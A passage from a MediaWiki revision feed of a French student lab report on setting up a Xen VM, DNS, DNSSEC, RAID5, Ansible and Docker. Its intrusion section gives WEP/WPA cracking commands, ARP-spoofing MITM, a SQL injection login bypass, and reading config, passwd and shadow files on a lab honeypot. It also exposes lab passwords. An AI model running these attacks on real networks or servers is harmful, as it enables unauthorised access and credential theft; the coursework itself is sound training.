           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55146</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55146"/>
				<updated>2020-12-21T18:04:52Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}&amp;quot;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55145</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55145"/>
				<updated>2020-12-21T18:00:32Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Ansible */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
